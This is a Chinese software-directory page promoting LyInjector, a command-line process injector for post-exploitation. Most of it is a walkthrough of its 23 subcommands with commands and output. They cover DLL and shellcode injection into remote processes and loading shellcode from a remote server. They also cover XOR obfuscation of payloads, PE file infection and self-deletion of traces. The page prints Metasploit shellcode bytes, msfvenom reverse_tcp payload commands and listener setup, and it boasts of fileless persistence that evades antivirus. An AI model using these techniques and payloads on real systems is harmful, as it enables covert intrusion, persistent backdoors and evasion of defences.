当前位置: 首页 > 软件库 > 开发工具 > 反编译工具 >

LyInjector

应用层反汇编代码注入器
授权协议 GPL-3.0
开发语言 C/C++
所属分类 开发工具、 反编译工具
软件类型 开源软件
地区 国产
投 递 者 戎泰
操作系统 跨平台
开源组织
适用人群 未知
 软件概览

一款功能强大的应用层反汇编代码注入器,该工具可用于向第三方进程内强制插入DLL模块,也可用于插入一段ShellCode反弹后门,或实现汇编级Call调用功能,在后渗透中,也可将后门直接注入到特定进程内存内而不会在磁盘中留下任何痕迹,注入成功后Metasploit即可获取目标主机控制权,只要对端不关机则权限会一直维持,由于内存注入无对应磁盘文件,所以也不会触发杀软报毒,是一款不错的命令行版通用注入工具。

免责声明

该项目仅用于安全技术研究与交流,禁止用于非法用途,本人不参与任何护网活动的攻击方不做黑产,若在主机中溯源到本工具,与本人没有任何关系,本人不承担任何法律责任!

接口调用

本工具绿色无毒,下载后可将LyInjector.exe源程序拷贝到C:\Windows\System32目录下,方便用户在任何位置都可以直接调用,目前该工具具备23个子功能,如下是详细的功能参数列表。

子命令 子命令作用
Show 显示当前所有可注入进程
ShowDll 显示进程内的所有DLL模块
Promote 尝试提升自身进程权限
FreeDll 尝试卸载指定进程内的DLL模块
GetFuncAddr 显示进程内特定模块内函数基址
Delself 从系统中删除自身痕迹
Format 将字节数组格式化为一行并打印
FormatFile 将字节数组格式化并写出到文件
Xor 将文本中压缩后的字节数组进行异或并输出
Xchg 将压缩后的字符串转为字节数组格式
XorArray 将字节数组加密/解密为字节数组格式
InjectDLL 注入DLL模块到特定进程内
InjectSelfShell 注入字符串到自身进程并运行
InjectArrayByte 注入字节数组到自身进程并运行
FileInjectShell 从文件中读入字符串并注入运行
InjectProcShell 注入字符串到远程进程并运行
InjectWebShell 从远程加载字符串并注入自身进程
AddSection 在PE文件中新增一个节区
InsertShellCode 将ShellCode插入到PE中的指定位置处
RepairShellOep 在ShellCode末尾增加跳转回原处的指令
SetSigFlag 设置文件感染标志
EncodeInFile 从文件读入加密字符串并执行反弹
EncodePidInFile 注入加密后的字符串到远程进程中

 

  • Show 显示当前所有可注入进程
C:\Users\admin> LyInjector Show

[*] PID:     4 | 位数:x64 | 进程名:System
[*] PID:   124 | 位数:x64 | 进程名:Registry
[*] PID:   588 | 位数:x64 | 进程名:smss.exe
[*] PID:   872 | 位数:x64 | 进程名:csrss.exe
[*] PID:   972 | 位数:x64 | 进程名:wininit.exe
[*] PID:   980 | 位数:x64 | 进程名:csrss.exe
[*] PID:   496 | 位数:x64 | 进程名:services.exe
[*] PID:  6624 | 位数:x32 | 进程名:lyshark.exe
[*] PID:  9196 | 位数:x64 | 进程名:SearchProtocolHost.exe
[*] PID: 11376 | 位数:x64 | 进程名:LyInjector.exe
  • ShowDll 显示进程内的所有DLL模块
C:\Users\admin> LyInjector ShowDll --proc lyshark.exe

[+] DLL名称:           USER32.dll | DLL基地址: 0x0000000076B70000
[+] DLL名称:        MSVCR120D.dll | DLL基地址: 0x000000006A3E0000
[+] DLL名称:         KERNEL32.dll | DLL基地址: 0x00000000773A0000
  • Promote 尝试提升自身进程权限
C:\Users\admin> LyInjector Promote

[+] 获取自身Token
[+] 查询进程特权
[*] 已提升为超级管理员
  • FreeDll 尝试卸载指定进程内的DLL模块
C:\Users\admin> LyInjector FreeDll --proc lyshark.exe --dll MSVCR120D.dll

[*] 模块卸载状态: 1
  • GetFuncAddr 显示进程内特定模块内函数基址
C:\Users\admin> LyInjector GetFuncAddr --proc lyshark.exe --dll user32.dll --func MessageBoxA

[+] 函数地址: 0x76bf0ba0

C:\Users\admin> LyInjector GetFuncAddr --proc lyshark.exe --dll user32.dll --func MessageBoxW

[+] 函数地址: 0x76bf10c0
  • Format 将攻击载荷格式化为一行纯字符串
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30\x8b\x52"
"\x0c\x89\xe5\x8b\x52\x14\x31\xff\x0f\xb7\x4a\x26\x8b\x72\x28"
"\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";

C:\Users\admin> LyInjector Format --path d://shellcode.txt

fce88f0000006031d2648b52308b520c89e58b521431ff0fb74a268b7228f0b5a2566a0053ffd5
  • FormatFile 将攻击载荷格式化为一行并写出到文本
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30\x8b\x52"
"\x0c\x89\xe5\x8b\x52\x14\x31\xff\x0f\xb7\x4a\x26\x8b\x72\x28"
"\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";

C:\Users\admin> LyInjector FormatFile --path d://shellcode.txt --output d://output.txt
[+] 已储存 => d://output.txt
  • Xor 将文本中压缩后的字节数组进行异或并输出
C:\Users\admin> LyInjector Xor --path d://output.txt --passwd lyshark

% &{{%ssssssuspr'quw{!vqps{!vqs {z&v{!vqrwpr%%s%!tw"qu{!tqq{%s!v"qvuu"ssvp%%'v
  • Xchg 将压缩后的字符串转为字节数组格式
C:\Users\admin> LyInjector Xchg --input d://output.txt --output d://array.txt
[+] 字节已转为双字节
[*] 已写出ShellCode列表 => d://array.txt

"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30\x8b\x52"
"\x0c\x89\xe5\x8b\x52\x14\x31\xff\x0f\xb7\x4a\x26\x8b\x72\x28"
"\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
  • XorArray 将字节数组加密/解密为字节数组格式
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30\x8b\x52"
"\x0c\x89\xe5\x8b\x52\x14\x31\xff\x0f\xb7\x4a\x26\x8b\x72\x28"
"\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";

C:\Users\admin> LyInjector XorArray --path d://shellcode.txt --passwd lyshark
unsigned char ShellCode[] =
"\xbf\xab\xcc\x43\x43\x43\x23\x72\x91\x27\xc8\x11\x73\xc8\x11\x4f"
"\xca\xa6\xc8\x11\x57\x72\xbc\x4c\xf4\x9\x65\xc8\x31\x6b\xb3"
"\xf6\xe1\x15\x29\x43\x10\xbc\x96";
  • InjectDLL 注入DLL模块到特定进程内
C:\Users\admin> LyInjector InjectDLL --proc lyshark.exe --dll d://hook.dll

[*] 模块 [ d://hook.dll ] 已被注入到 [ 6624 ] 进程
  • InjectSelfShell 注入字符串到自身进程并运行
C:\Users\admin> LyInjector InjectSelfShell --shellcode fce88f00002c201...

[+] 解码地址: 19db64
  • InjectArrayByte 将字节数组注入到自身进程内
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89\xe5\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x0f\xb7\x4a\x26\x8b\x72\x28\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"
"\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78"
"\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";

C:\Users\admin> LyInjector InjectArrayByte --path d://shellcode.txt
[+] 解码地址: 19df20
  • FileInjectShell 将一行字符串注入到自身进程内
fce88f0000006031d289e5648b52308b520c8b52140fb74a268b722831ff31c0ac3c617c022c20c1cf0d01...

C:\Users\admin> LyInjector FileInjectShell --path d://output_shellcode.txt

[+] 解码地址: 19df20
  • InjectWebShell 从远程Web服务器加载字符串并注入到自身进程内
192.168.1.100:80/shellcode.raw
fce88f0000006031d289e5648b52308b520c8b52140fb74a268b722831ff31c0ac3c617c022c20c1cf0d01...

C:\Users\admin> LyInjector InjectWebShell --address 192.168.1.100 --payload shellcode.raw
  • EncodeInFile 直接注入加密后的攻击载荷到自身进程内
C:\Users\admin> LyInjector Xor --path d://output_shellcode.txt --passwd lyshark

% &{{%ssssssuspr'quw{!vqps{z&v{!vqs {!vqrw{!tqq{pr%%s%!tw"qupr s" p urt sqq qs r %s'sr 

C:\Users\admin> LyInjector EncodeInFile --path d://xor_shellcode.txt --passwd lyshark

[+] 解码ShellCode字节 => 708 bytes
[+] 格式化ShellCode字节地址 => 19df00
[*] 激活当前反弹线程 => 2a60000
  • InjectProcShell 注入攻击载荷到远程进程
C:\Users\admin> LyInjector InjectProcShell --pid 13372 --shellcode fce88f0000006031d2648b523089e...

[*] 开始注入进程PID => 13372
[+] 打开进程: 360
[+] 已设置权限: 3866624
[*] 创建线程ID => 352
  • EncodePidInFile 注入加密后的攻击载荷
% &{{%ssssssuspr'quw{!vqps{z&v{!vqs {!vqrw{!tqq{pr%%s%!tw"qupr s" p urt sqq qs r %s'sr 

C:\Users\admin> LyInjector EncodePidInFile --pid 8384 --path d://xor_shellcode.txt --passwd lyshark

[+] 解码ShellCode字节 => 708 bytes
[+] 读入ShellCode长度 => 1687292
[*] 开始注入进程PID => 8384 长度 => 354
[+] 打开进程: 340
[+] 已设置权限: 12451840
[*] 创建线程ID => 356
  • AddSection 在PE文件中新增一个节区
C:\Users\admin> LyInjector AddSection --path d://lyshark.exe --section .hack --size 1024

[-] 当前DOS头: 0x2130000
[-] 当前NT头: 0x0000000002130108
[-] 定位当前节表首地址: 0x02130200
[+] 拷贝节名称: .hack
[+] 节表内存大小: 1024
[*] 节内存起始位置: 0x000B7000
[-] 节的文件大小: 4096
[*] 节的文件起始位置: 0x000A7000 => DEC: 684032
  • InsertShellCode 将ShellCode插入到PE中的指定位置
C:\Users\admin> LyInjector InsertShellCode --path d://lyshark.exe 
--shellcode d://shellcode.txt --offset 1233

0xFC 0xE8 0x8F 0x00 0x00 0x00 0x60 0x31 0xD2 0x64 0x8B 0x52 0x30 0x8B 0x52 0x0C
0x89 0xE5 0x8B 0x52 0x14 0x31 0xFF 0x0F 0xB7 0x4A 0x26 0x8B 0x72 0x28 0xF0 0xB5
0xA2 0x56 0x6A 0x00 0x53 0xFF 0xD5

[*] 已注入 ShellCode 到PE文件
[+] 注入起始FOA => 0x000004D1 <DEC = 1233 > 注入结束FOA => 0x000004F8 <DEC = 1272 >
  • SetSigFlag 设置文件感染标志
C:\Users\admin> LyInjector SetSigFlag --path d://lyshark.exe
[+] 文件已感染

C:\Users\admin> LyInjector SetSigFlag --path d://lyshark.exe
[-] 文件已被感染,无法重复感染.
  • RepairShellOep 在ShellCode末尾增加跳转回原地址处的指令
C:\Users\admin>LyInjector RepairShellOep --path d://lyshark.exe 
--start_offset 1230 --end_offset 1240

[+] 获取原OEP => 0x000D8865
[+] 在 ShellCode 尾部增加JMP跳转指令: 0x90 0x90 0x90 0x90 0xB8 0x65 0x88
[*] 已增加跳转到 0x000004D8 处的代码段
[+] 修正新入口地址: 0x0007C4CE
  • Metasploit 生成载荷

通过Metasploit工具生成一个有效载荷,如下是32位与64位载荷生成命令。

32位载荷生成
[root@lyshark ~]# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.93.128 LPORT=9999 -f c

64位载荷生成
[root@lyshark ~]# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.93.128 LPORT=9999 -f c

后台侦听器的配置也分为32位与64位,使用工具时需要与载荷的位数相对应。

32位侦听器配置
msf6 > use exploit/multi/handler
msf6 > set payload windows/meterpreter/reverse_tcp
msf6 > set lhost 192.168.93.128
msf6 > set lport 9999
msf6 exploit(multi/handler) > exploit

64位侦听器配置
msf6 > use exploit/multi/handler
msf6 > set payload windows/x64/meterpreter/reverse_tcp
msf6 > set lhost 192.168.93.128
msf6 > set lport 9999
msf6 exploit(multi/handler) > exploit

项目地址

https://github.com/lyshark/LyInjector

 相关资料
  • 我正在尝试调试一个棘手的核心转储(从一个-O2优化的二进制)。 被调用函数寄存器信息 : 问题是,在被调用的函数中,函数似乎没有实现任何功能。因此,我们想知道在被调用函数的反汇编中,是否看到指针被任何地方使用(被调用函数中的寄存器r12)。 我确实在一定程度上了解程序集,但所有这些代码内联让我感到困惑。 希望在取消被调用的函数反汇编方面得到一些帮助。 update: add_data在下面执行以下

  • (gdb) set disassemble-next-line on (gdb) start The program being debugged has been started already. Start it from the beginning? (y or n) y Temporary breakpoint 3 at 0x400543: file 1.c, line 14. Star

  • 因此,通常关于通过汇编代码提高性能的问题的答案是“不要打扰,编译器比你聪明”。我明白了。 但是,我注意到优化的线性代数库(例如ACML)可以比标准编译库实现2到5倍的性能改进。例如,在我的8核机器上,与现有的单线程BLAS实现相比,优化的矩阵乘法运行速度快了30倍以上,这意味着,在考虑了由于使用所有内核而提高的8倍之后,仅仅通过优化仍然可以提高4倍。 所以在我看来,优化的汇编代码确实可以带来巨大的

  • 本文向大家介绍易语言代码中嵌入汇编/机器码方法,包括了易语言代码中嵌入汇编/机器码方法的使用技巧和注意事项,需要的朋友参考一下 很多朋友在编写易语言里要混合插入汇编语言等,如何解决呢?我们来看下 我们都知道,C++或Delphi的程序源代码中可以嵌入汇编代码,以达到某些特定目的。易语言作为实用而又功能强大的编程语言,也允许在代码中嵌入汇编,——当然严格来说,是嵌入机器指令代码。借助“特殊功能支持库

  • 说实话绝影就等着张厂长把他的研究成果公布出来,这样才能当场找出其中的纰漏并当场将他驳回。你想我绝影做到这里能弄出个反汇编器来,已经是突破性进展了,张厂长还能比我牛? 于是他平静地说:"说来听听,看看你有啥好法子。" 张厂长哪里知道绝影心里的算盘,他还是和平时一样一本正经严肃认真一丝不苟地说道:"这几天我去他们车间调研了,其实开始我们都想复杂了。他们的芯片和主机通过穿口通信,类似于一问一答……" "

  • 我正在为64位mips机器使用gcc编译器。我注意到生成的一段汇编代码很有趣。下面是详细信息: 通常,bnez将立即跳到0xb0。但在0xb0之后的块中,我确信程序必须使用a1作为参数。但是我们可以看到,在0xb0之后,a1从未出现在块中。 但是a1在0x58中使用,就在bnez(0x54)之后。 那么0x54和0x58指令有可能同时执行吗?超标量处理器通过同时将多条指令分派到处理器上的冗余功能单

  • 问题内容: 我想分解一下我拥有的可引导x86磁盘的MBR(前512个字节)。我已将MBR复制到使用 对可以反汇编文件的Linux实用程序有何建议? 问题答案: 您可以使用objdump。根据本文的语法为:

  • #include <stdio.h> void fun1(void) { int i = 0; i++; i = i * 2; printf("%d\n", i); } void fun2(void) { int j = 0; fun1(); j++; j = j